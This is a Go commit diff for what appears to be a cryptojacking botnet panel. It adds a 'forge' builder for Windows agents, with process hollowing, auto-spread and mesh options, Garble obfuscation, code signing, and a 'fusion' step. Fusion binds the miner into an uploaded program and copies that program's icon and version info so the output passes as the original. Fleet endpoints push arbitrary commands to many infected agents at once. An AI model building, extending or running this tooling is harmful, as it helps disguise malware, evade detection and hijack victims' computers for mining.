Add forge pipeline polish, simple forge UX, and fleet management upgrades.
Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
@@ -150,6 +150,84 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
})
|
||||
}
|
||||
|
||||
type agentMetaRequest struct {
|
||||
Notes string `json:"notes"`
|
||||
Tags []string `json:"tags"`
|
||||
}
|
||||
|
||||
func (f *FleetHandler) PutAgentMeta(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if id == "" {
|
||||
http.Error(w, "agent id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
var req agentMetaRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if _, err := f.db.GetAgent(id); err != nil {
|
||||
http.Error(w, "agent not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
if err := f.db.UpdateAgentMeta(id, req.Notes, req.Tags); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
agent, _ := f.db.GetAgent(id)
|
||||
writeJSON(w, map[string]interface{}{"success": true, "agent": agent})
|
||||
}
|
||||
|
||||
type bulkCommandRequest struct {
|
||||
AgentIDs []string `json:"agent_ids"`
|
||||
Action string `json:"action"`
|
||||
Command string `json:"command,omitempty"`
|
||||
}
|
||||
|
||||
func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
|
||||
if f.ws == nil {
|
||||
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
var req bulkCommandRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.Action == "" {
|
||||
http.Error(w, "action is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if len(req.AgentIDs) == 0 {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": "agent_ids is required",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
args := map[string]interface{}{}
|
||||
if req.Command != "" {
|
||||
args["command"] = req.Command
|
||||
}
|
||||
|
||||
sent := 0
|
||||
failed := 0
|
||||
for _, id := range req.AgentIDs {
|
||||
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||
failed++
|
||||
} else {
|
||||
sent++
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": sent > 0,
|
||||
"sent": sent,
|
||||
"failed": failed,
|
||||
"action": req.Action,
|
||||
})
|
||||
}
|
||||
|
||||
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
|
||||
func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
|
||||
const networkHashrate = 3_000_000_000.0
|
||||
|
||||
@@ -126,6 +126,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
if fleetHandler != nil {
|
||||
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
|
||||
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
|
||||
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
|
||||
r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand)
|
||||
}
|
||||
|
||||
// Fleet ops
|
||||
@@ -150,6 +152,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
|
||||
// Builder
|
||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
||||
|
||||
// Blueprints (config presets)
|
||||
r.Get("/blueprints", blueprintHandler.ServeHTTP)
|
||||
|
||||
39
server/internal/api/ws_types.go
Normal file
39
server/internal/api/ws_types.go
Normal file
@@ -0,0 +1,39 @@
|
||||
package api
|
||||
|
||||
// Dashboard WebSocket payload types (keep in sync with server/web/src/types/ws.ts).
|
||||
|
||||
type WSDashboardInit struct {
|
||||
Agents []interface{} `json:"agents"`
|
||||
}
|
||||
|
||||
type WSAgentOffline struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
}
|
||||
|
||||
type WSStatsUpdate struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Hashrate15s float64 `json:"hashrate_15s"`
|
||||
Hashrate1m float64 `json:"hashrate_1m"`
|
||||
Hashrate15m float64 `json:"hashrate_15m"`
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct,omitempty"`
|
||||
UptimeSeconds int `json:"uptime_seconds,omitempty"`
|
||||
SharesSubmitted int `json:"shares_submitted,omitempty"`
|
||||
SharesAccepted int `json:"shares_accepted,omitempty"`
|
||||
}
|
||||
|
||||
type WSCommandResult struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Action string `json:"action"`
|
||||
Success bool `json:"success"`
|
||||
Message string `json:"message,omitempty"`
|
||||
}
|
||||
|
||||
type WSAgentLog struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Content string `json:"content"`
|
||||
}
|
||||
|
||||
type WSServerLog struct {
|
||||
Line string `json:"line"`
|
||||
}
|
||||
62
server/internal/builder/compile.go
Normal file
62
server/internal/builder/compile.go
Normal file
@@ -0,0 +1,62 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) buildTagsFor(req *BuildRequest) []string {
|
||||
var tags []string
|
||||
if req.ProcessHollowing {
|
||||
tags = append(tags, "hollow")
|
||||
}
|
||||
if req.MeshP2P {
|
||||
tags = append(tags, "p2p")
|
||||
}
|
||||
return tags
|
||||
}
|
||||
|
||||
func (h *Handler) shouldObfuscate(req *BuildRequest) bool {
|
||||
if req.Obfuscate {
|
||||
return true
|
||||
}
|
||||
return h.policy.DefaultObfuscate
|
||||
}
|
||||
|
||||
func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
|
||||
env := append(os.Environ(),
|
||||
"GOOS=windows",
|
||||
"GOARCH=amd64",
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
|
||||
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
|
||||
if len(tags) > 0 {
|
||||
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
|
||||
}
|
||||
buildArgs = append(buildArgs, ".")
|
||||
|
||||
useGarble := obfuscate && h.garblePath != ""
|
||||
if obfuscate && !useGarble {
|
||||
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
|
||||
}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if useGarble {
|
||||
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
|
||||
cmd = exec.Command(h.garblePath, garbleArgs...)
|
||||
} else {
|
||||
cmd = exec.Command(h.goBinPath, buildArgs...)
|
||||
}
|
||||
cmd.Dir = dir
|
||||
cmd.Env = env
|
||||
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return out, fmt.Errorf("compile failed: %s", strings.TrimSpace(string(out)))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
129
server/internal/builder/estimate.go
Normal file
129
server/internal/builder/estimate.go
Normal file
@@ -0,0 +1,129 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultWorkerBytes int64 = 12 * 1024 * 1024
|
||||
defaultFusionStubBytes int64 = 2_500_000
|
||||
resourcePatchOverhead int64 = 150_000
|
||||
)
|
||||
|
||||
type FusionEstimateResponse struct {
|
||||
PrepBytes int64 `json:"prep_bytes"`
|
||||
PrepName string `json:"prep_name"`
|
||||
EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
|
||||
EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
|
||||
EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
|
||||
EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
|
||||
OutputFileName string `json:"output_file_name"`
|
||||
ProjectRootPath string `json:"project_root_path"`
|
||||
ArchivePathHint string `json:"archive_path_hint"`
|
||||
ExportPath string `json:"export_path,omitempty"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
Notes []string `json:"notes"`
|
||||
}
|
||||
|
||||
func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse {
|
||||
outputName := req.FusionOutputName
|
||||
if outputName == "" {
|
||||
outputName = prepName
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = "prep.exe"
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
}
|
||||
outputName = sanitizeFileName(outputName)
|
||||
|
||||
workerBytes := h.estimateWorkerBytes()
|
||||
stubBytes := defaultFusionStubBytes
|
||||
total := prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
||||
|
||||
root := h.projectRoot
|
||||
if root == "" || root == "." {
|
||||
root, _ = filepath.Abs(".")
|
||||
}
|
||||
projectOut := filepath.Join(root, outputName)
|
||||
|
||||
resp := FusionEstimateResponse{
|
||||
PrepBytes: prepSize,
|
||||
PrepName: prepName,
|
||||
EstimatedWorkerBytes: workerBytes,
|
||||
EstimatedFusionStubBytes: stubBytes,
|
||||
EstimatedResourcePatchBytes: resourcePatchOverhead,
|
||||
EstimatedTotalBytes: total,
|
||||
OutputFileName: outputName,
|
||||
ProjectRootPath: projectOut,
|
||||
ArchivePathHint: filepath.Join(h.dataDir, "builds", "<build-id>", outputName),
|
||||
Obfuscate: h.shouldObfuscate(req),
|
||||
SignBuild: req.SignBuild,
|
||||
Notes: []string{
|
||||
fmt.Sprintf("Prep: %s", formatBytes(prepSize)),
|
||||
fmt.Sprintf("Estimated worker: %s (from recent builds or default)", formatBytes(workerBytes)),
|
||||
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
|
||||
"Final size may differ slightly after icon + version info patch.",
|
||||
},
|
||||
}
|
||||
|
||||
if strings.TrimSpace(req.OutputDir) != "" {
|
||||
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
|
||||
if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) {
|
||||
resp.ExportPath = filepath.Join(root, clean, outputName)
|
||||
resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", resp.ExportPath))
|
||||
}
|
||||
}
|
||||
|
||||
if h.shouldObfuscate(req) && h.garblePath == "" {
|
||||
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (run.bat installs it).")
|
||||
}
|
||||
if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") {
|
||||
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
|
||||
}
|
||||
|
||||
_ = prepPath
|
||||
return resp
|
||||
}
|
||||
|
||||
func (h *Handler) estimateWorkerBytes() int64 {
|
||||
if h.db == nil {
|
||||
return defaultWorkerBytes
|
||||
}
|
||||
builds, err := h.db.ListBuilds(40)
|
||||
if err != nil || len(builds) == 0 {
|
||||
return defaultWorkerBytes
|
||||
}
|
||||
var sum int64
|
||||
var count int64
|
||||
for _, b := range builds {
|
||||
base := strings.ToLower(filepath.Base(b.FilePath))
|
||||
if strings.HasPrefix(base, "worker-") || strings.HasPrefix(base, "install-") {
|
||||
if b.FileSize > 0 {
|
||||
sum += b.FileSize
|
||||
count++
|
||||
}
|
||||
}
|
||||
}
|
||||
if count == 0 {
|
||||
return defaultWorkerBytes
|
||||
}
|
||||
return sum / count
|
||||
}
|
||||
|
||||
func formatBytes(n int64) string {
|
||||
const unit = 1024
|
||||
if n < unit {
|
||||
return fmt.Sprintf("%d B", n)
|
||||
}
|
||||
div, exp := int64(unit), 0
|
||||
for v := n / unit; v >= unit; v /= unit {
|
||||
div *= unit
|
||||
exp++
|
||||
}
|
||||
return fmt.Sprintf("%.2f %cB", float64(n)/float64(div), "KMGTPE"[exp])
|
||||
}
|
||||
29
server/internal/builder/estimate_test.go
Normal file
29
server/internal/builder/estimate_test.go
Normal file
@@ -0,0 +1,29 @@
|
||||
package builder
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestEstimateFusionBuildTotals(t *testing.T) {
|
||||
h := &Handler{
|
||||
dataDir: t.TempDir(),
|
||||
projectRoot: t.TempDir(),
|
||||
}
|
||||
req := &BuildRequest{
|
||||
FusionEnabled: true,
|
||||
FusionOutputName: "MyApp.exe",
|
||||
OutputDir: "exports",
|
||||
Obfuscate: true,
|
||||
}
|
||||
got := h.estimateFusionBuild(req, "", 5*1024*1024, "MyApp.exe")
|
||||
if got.PrepBytes != 5*1024*1024 {
|
||||
t.Fatalf("prep bytes: got %d", got.PrepBytes)
|
||||
}
|
||||
if got.EstimatedTotalBytes <= got.PrepBytes {
|
||||
t.Fatalf("total should exceed prep: %d", got.EstimatedTotalBytes)
|
||||
}
|
||||
if got.OutputFileName != "MyApp.exe" {
|
||||
t.Fatalf("output name: %s", got.OutputFileName)
|
||||
}
|
||||
if got.ExportPath == "" {
|
||||
t.Fatal("expected export path")
|
||||
}
|
||||
}
|
||||
@@ -2,9 +2,7 @@ package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
@@ -62,21 +60,12 @@ func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrd
|
||||
}
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
||||
|
||||
if err := h.prepareFusionWinres(fusionDir, prepPath); err != nil {
|
||||
log.Printf("[Fusion] icon from prep not applied (fused exe may use default Go icon): %v", err)
|
||||
}
|
||||
|
||||
ldflags := fusionLdflags(prepPath)
|
||||
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".")
|
||||
cmd.Dir = fusionDir
|
||||
cmd.Env = append(os.Environ(),
|
||||
"GOOS=windows",
|
||||
"GOARCH=amd64",
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("fusion build failed: %s", strings.TrimSpace(string(out)))
|
||||
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return outputPath, nil
|
||||
}
|
||||
|
||||
@@ -65,6 +65,8 @@ type BuildRequest struct {
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
}
|
||||
|
||||
type BuildResponse struct {
|
||||
@@ -82,6 +84,8 @@ type BuildResponse struct {
|
||||
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
|
||||
FusionEnabled bool `json:"fusion_enabled,omitempty"`
|
||||
WorkerFile string `json:"worker_file,omitempty"`
|
||||
Signed bool `json:"signed,omitempty"`
|
||||
Obfuscated bool `json:"obfuscated,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
@@ -91,12 +95,24 @@ type Handler struct {
|
||||
agentSrcDir string
|
||||
projectRoot string
|
||||
goBinPath string
|
||||
garblePath string
|
||||
goWinresPath string
|
||||
serverModDir string
|
||||
policy BuildPolicy
|
||||
}
|
||||
|
||||
type SignPolicy struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
CertThumbprint string `json:"cert_thumbprint"`
|
||||
ToolPath string `json:"tool_path"`
|
||||
TimestampURL string `json:"timestamp_url"`
|
||||
}
|
||||
|
||||
type BuildPolicy struct {
|
||||
StrictWalletValidation bool
|
||||
MaxBuildSizeMB int
|
||||
DefaultObfuscate bool
|
||||
Sign SignPolicy
|
||||
}
|
||||
|
||||
func (h *Handler) SetBuildPolicy(p BuildPolicy) {
|
||||
@@ -108,13 +124,15 @@ func NewHandler(database *db.Database, dataDir string, agentSrcDir string, proje
|
||||
if _, err := exec.LookPath("go"); err == nil {
|
||||
goBin = "go"
|
||||
}
|
||||
return &Handler{
|
||||
h := &Handler{
|
||||
db: database,
|
||||
dataDir: dataDir,
|
||||
agentSrcDir: agentSrcDir,
|
||||
projectRoot: projectRoot,
|
||||
goBinPath: goBin,
|
||||
}
|
||||
h.resolveToolPaths(projectRoot)
|
||||
return h
|
||||
}
|
||||
|
||||
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -198,6 +216,75 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, http.StatusOK, resp)
|
||||
}
|
||||
|
||||
func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
|
||||
var req BuildRequest
|
||||
var prepPath string
|
||||
var prepSize int64
|
||||
var prepName string
|
||||
var cleanupPrep func()
|
||||
|
||||
contentType := r.Header.Get("Content-Type")
|
||||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||||
if err := r.ParseMultipartForm(150 << 20); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
|
||||
return
|
||||
}
|
||||
configJSON := r.FormValue("config")
|
||||
if configJSON == "" {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Missing config field"})
|
||||
return
|
||||
}
|
||||
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid config JSON"})
|
||||
return
|
||||
}
|
||||
file, header, err := r.FormFile("prep_exe")
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires prep_exe upload"})
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
if header != nil {
|
||||
prepSize = header.Size
|
||||
prepName = header.Filename
|
||||
}
|
||||
saved, remove, err := h.saveUploadedPrep(file, header)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
prepPath = saved
|
||||
cleanupPrep = remove
|
||||
} else {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires multipart prep_exe upload"})
|
||||
return
|
||||
}
|
||||
|
||||
if cleanupPrep != nil {
|
||||
defer cleanupPrep()
|
||||
}
|
||||
|
||||
if err := h.normalizeRequest(&req); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if !req.FusionEnabled {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion must be enabled for estimate"})
|
||||
return
|
||||
}
|
||||
if req.FusionOutputName == "" && prepName != "" {
|
||||
req.FusionOutputName = prepName
|
||||
}
|
||||
|
||||
est := h.estimateFusionBuild(&req, prepPath, prepSize, prepName)
|
||||
writeJSON(w, http.StatusOK, est)
|
||||
}
|
||||
|
||||
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
||||
buildID := chi.URLParam(r, "id")
|
||||
build, err := h.db.GetBuild(buildID)
|
||||
@@ -265,18 +352,10 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
|
||||
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".")
|
||||
cmd.Dir = agentDir
|
||||
cmd.Env = append(os.Environ(),
|
||||
"GOOS=windows",
|
||||
"GOARCH=amd64",
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
log.Printf("Build failed: %v\nOutput: %s", err, string(output))
|
||||
return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
|
||||
log.Printf("Build failed: %v", err)
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
finalPath := outputPath
|
||||
@@ -313,6 +392,17 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
}
|
||||
}
|
||||
|
||||
signed := false
|
||||
if h.shouldSignBuild(req) {
|
||||
if err := h.signExecutable(finalPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
signed = true
|
||||
if exportPath != "" && exportPath != finalPath {
|
||||
_ = h.signExecutable(exportPath)
|
||||
}
|
||||
}
|
||||
|
||||
fileInfo, err := os.Stat(finalPath)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||||
@@ -364,6 +454,8 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
UninstallExportPath: "",
|
||||
FusionEnabled: fusionEnabled,
|
||||
WorkerFile: workerName,
|
||||
Signed: signed,
|
||||
Obfuscated: obfuscated,
|
||||
}, http.StatusOK, finalPath
|
||||
}
|
||||
|
||||
|
||||
36
server/internal/builder/icon_resource.go
Normal file
36
server/internal/builder/icon_resource.go
Normal file
@@ -0,0 +1,36 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
func writeIconAndVersionWinresJSON(fullWinresPath string) (string, error) {
|
||||
data, err := os.ReadFile(fullWinresPath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
var doc map[string]json.RawMessage
|
||||
if err := json.Unmarshal(data, &doc); err != nil {
|
||||
return "", err
|
||||
}
|
||||
icons, ok := doc["RT_GROUP_ICON"]
|
||||
if !ok || len(icons) == 0 || string(icons) == "null" {
|
||||
return "", fmt.Errorf("prep exe has no RT_GROUP_ICON resources")
|
||||
}
|
||||
outDoc := map[string]json.RawMessage{"RT_GROUP_ICON": icons}
|
||||
if version, hasVersion := doc["RT_VERSION"]; hasVersion && len(version) > 0 && string(version) != "null" {
|
||||
outDoc["RT_VERSION"] = version
|
||||
}
|
||||
out, err := json.MarshalIndent(outDoc, "", " ")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
outPath := filepath.Join(filepath.Dir(fullWinresPath), "filtered.json")
|
||||
if err := os.WriteFile(outPath, out, 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return outPath, nil
|
||||
}
|
||||
@@ -2,10 +2,16 @@
|
||||
|
||||
package builder
|
||||
|
||||
import "fmt"
|
||||
|
||||
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
|
||||
return fmt.Errorf("fusion resource embedding requires building on Windows")
|
||||
}
|
||||
|
||||
func fusionLdflags(prepPath string) string {
|
||||
return "-s -w -H windowsgui"
|
||||
}
|
||||
|
||||
36
server/internal/builder/icon_test.go
Normal file
36
server/internal/builder/icon_test.go
Normal file
@@ -0,0 +1,36 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestWriteIconAndVersionWinresJSON(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
full := filepath.Join(dir, "winres.json")
|
||||
if err := os.WriteFile(full, []byte(`{
|
||||
"RT_GROUP_ICON": {
|
||||
"#1": { "0409": "a.ico" }
|
||||
},
|
||||
"RT_VERSION": { "#1": { "0409": {} } }
|
||||
}`), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
out, err := writeIconAndVersionWinresJSON(full)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
raw, err := os.ReadFile(out)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
s := string(raw)
|
||||
if !strings.Contains(s, "RT_GROUP_ICON") || !strings.Contains(s, "a.ico") {
|
||||
t.Fatalf("unexpected icons-only json: %s", raw)
|
||||
}
|
||||
if !strings.Contains(s, "RT_VERSION") {
|
||||
t.Fatalf("version info should be preserved: %s", raw)
|
||||
}
|
||||
}
|
||||
@@ -3,6 +3,7 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
@@ -11,6 +12,77 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// applyPrepResourcesToEXE copies icon + version info from prepPath onto exePath (post-build).
|
||||
func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
|
||||
if err := h.patchEXEResourcesFromPrepExtract(prepPath, exePath); err == nil {
|
||||
log.Printf("[Fusion] Applied icon + version info from %s", filepath.Base(prepPath))
|
||||
return nil
|
||||
} else {
|
||||
log.Printf("[Fusion] resource extract/patch failed, trying icon fallback: %v", err)
|
||||
}
|
||||
if err := h.patchEXEWithExtractedICO(prepPath, exePath); err == nil {
|
||||
log.Printf("[Fusion] Applied icon from %s (fallback ico)", filepath.Base(prepPath))
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("could not copy icon/resources from prep exe")
|
||||
}
|
||||
|
||||
func (h *Handler) patchEXEResourcesFromPrepExtract(prepPath, exePath string) error {
|
||||
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-resources-*")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.RemoveAll(workDir)
|
||||
|
||||
if _, err := h.runGoWinres("", "extract", "--dir", workDir, prepPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
filteredJSON, err := writeIconAndVersionWinresJSON(filepath.Join(workDir, "winres.json"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if _, err := h.runGoWinres(filepath.Dir(filteredJSON), "patch", "--in", filteredJSON, "--no-backup", exePath); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *Handler) patchEXEWithExtractedICO(prepPath, exePath string) error {
|
||||
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-ico-*")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.RemoveAll(workDir)
|
||||
|
||||
iconPath := filepath.Join(workDir, "prep-icon.ico")
|
||||
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
doc := map[string]any{
|
||||
"RT_GROUP_ICON": map[string]any{
|
||||
"APP": map[string]any{
|
||||
"0409": "prep-icon.ico",
|
||||
},
|
||||
},
|
||||
}
|
||||
jsonPath := filepath.Join(workDir, "icons-only.json")
|
||||
raw, err := json.MarshalIndent(doc, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.WriteFile(jsonPath, raw, 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if _, err := h.runGoWinres(workDir, "patch", "--in", jsonPath, "--no-backup", exePath); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path.
|
||||
func extractIconFromEXE(exePath, icoPath string) error {
|
||||
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
|
||||
@@ -37,34 +109,10 @@ $fs.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
// prepareFusionWinres generates rsrc_windows_amd64.syso so the fused launcher uses prep's icon.
|
||||
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
|
||||
iconPath := filepath.Join(fusionDir, "prep-icon.ico")
|
||||
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
productName := strings.TrimSuffix(filepath.Base(prepPath), filepath.Ext(prepPath))
|
||||
cmd := exec.Command(
|
||||
"go", "run", "github.com/tc-hib/go-winres@v0.3.1",
|
||||
"make",
|
||||
"--arch", "amd64",
|
||||
"--in", fusionDir,
|
||||
"--icon", iconPath,
|
||||
"--file-description", productName,
|
||||
"--product-name", productName,
|
||||
"--original-filename", filepath.Base(prepPath),
|
||||
)
|
||||
cmd.Dir = fusionDir
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("go-winres: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
